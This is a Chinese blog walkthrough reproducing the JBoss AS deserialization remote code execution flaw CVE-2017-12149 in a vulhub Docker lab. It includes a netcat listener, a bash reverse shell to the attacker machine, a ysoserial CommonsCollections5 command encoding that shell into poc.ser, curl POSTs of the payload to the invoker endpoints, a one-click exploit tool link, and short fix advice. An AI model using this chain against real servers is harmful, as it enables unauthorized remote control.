[ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149

发布时间:2024-09-14 09:01

博主介绍

‍ 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、JBoss-AS指纹信息
  • 四、漏洞描述
  • 五、环境搭建
    • 1. 进入CVE-2017-12149环境
    • 2. 启动CVE-2017-12149环境
    • 3. 查看CVE-2017-12149环境
    • 4. 访问CVE-2017-12149环境
    • 5. 查看CVE-2017-12149提示信息
    • 6. 关闭CVE-2017-12149环境
  • 六、漏洞复现
    • 1. 环境
    • 2. Getshell 1
      • 攻击机监听
      • 靶机连接
        • 进行编码
        • 构建.ser文件
        • 上传生成的ser文件
      • Getshell成功
    • 3. Getshell 2
      • 攻击机监听
      • 靶机连接
      • Getshell成功
    • 4. 一键利用
      • 检测漏洞是否存在
      • 执行任意命令
  • 七、漏洞修复
  • 八、相关资源

一、漏洞编号

CVE-2017-12149

二、影响范围

Jboss AS 5.x
JbossAS 6.x

三、JBoss-AS指纹信息

{	"match": "body_contains",
	"content": "manage this jboss as instance"},

{	"match": "title_contains",
	"content": "welcome to jboss as"},

{	"match": "header_contains",
"content": "jbossas"},

{	"match": "banner_contains",
	"content": "jbossas"}

四、漏洞描述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

五、环境搭建

1. 进入CVE-2017-12149环境

cd vulhub/jboss/CVE-2017-12149

在这里插入图片描述

2. 启动CVE-2017-12149环境

docker-compose up -d

[ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149_第1张图片

3. 查看CVE-2017-12149环境

docker-compose ps

在这里插入图片描述

4. 访问CVE-2017-12149环境

http://you-ip:8080

[ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149_第2张图片

5. 查看CVE-2017-12149提示信息

cat README.md

[ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149_第3张图片

6. 关闭CVE-2017-12149环境

使用完成记得关闭环境

docker-compose down

在这里插入图片描述

六、漏洞复现

1. 环境

靶机:kali:192.168.13.131
攻击机:windows:192.168.192.1

2. Getshell 1

只需要构造带有需要执行Payload的ser文件,然后使用curl将二进制文件提交至目标服务器的invoker/JMXInvokerServlet页面中,即可执行Payload中指定的命令,获取对电脑的控制权

攻击机监听

.\nc.exe -lvvp 55555

在这里插入图片描述

靶机连接

连接命令

bash -i >&/dev/tcp/192.168.192.1/55555 0>&1

进行编码

https://www.loadcaps.com/runtime-exec-payloads/#java-lang-Runtime-exec

[ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149_第4张图片

构建.ser文件

利用ysoserial-all.jar工具构建.ser文件
ysoserial-all.jar工具下载地址:

https://github.com/frohoff/ysoserial

利用ysoserial.jar包的CommonsCollections5链把要执行的反弹shell生成一个ser文件

java -jar /root/Desktop/ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTkyLjEvNTU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}">poc.ser

在这里插入图片描述
[ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149_第5张图片

上传生成的ser文件

使用curl命令上传生成的ser文件
curl对invoker/JMXInvokerServlet目录使用post请求上传生成的ser

curl http://192.168.13.131:8080/invoker/JMXInvokerServlet --data-binary @poc.ser

在这里插入图片描述

Getshell成功

执行ls
[ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149_第6张图片

3. Getshell 2

只需要构造带有需要执行Payload的ser文件,然后使用curl将二进制文件提交至目标服务器的invoker/readonly页面中,即可执行Payload中指定的命令,获取对电脑的控制权

攻击机监听

.\nc.exe -lvvp 55555

在这里插入图片描述

靶机连接

curl对/invoker/readonly目录使用post请求上传生成的ser
不知道poc.ser怎么来的可以看上面的getshell 1

curl http://192.168.13.131:8080/invoker/readonly --data-binary @poc.ser

[ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149_第7张图片

Getshell成功

在这里插入图片描述

4. 一键利用

jboss-_CVE-2017-12149工具下载地址 :

https://github.com/yunxu1/jboss-_CVE-2017-12149

检测漏洞是否存在

直接输入目标进行检测

http://192.168.13.131:8080

提示存在漏洞,系统是linux的
[ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149_第8张图片

执行任意命令

输入需要执行的命令进行实现

[ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149_第9张图片
[ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149_第10张图片

七、漏洞修复

1、不需要 http-invoker.sar 组件的用户可直接删除此组件。
2、添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:/*

八、相关资源

docker 搭建 vulhub 靶场环境:

https://blog.csdn.net/qq_51577576/article/details/125048165

反弹shell的集中常见方式(一)nc反弹shell

https://blog.csdn.net/qq_51577576/article/details/126128251

exec编码工具:

https://www.loadcaps.com/runtime-exec-payloads/#java-lang-Runtime-exec

jboss-_CVE-2017-12149一键利用工具:

https://github.com/yunxu1/jboss-_CVE-2017-12149

ysoserial-all.jar工具:

https://github.com/frohoff/ysoserial

ItVuer - 免责声明 - 关于我们 - 联系我们

本网站信息来源于互联网,如有侵权请联系:561261067@qq.com

桂ICP备16001015号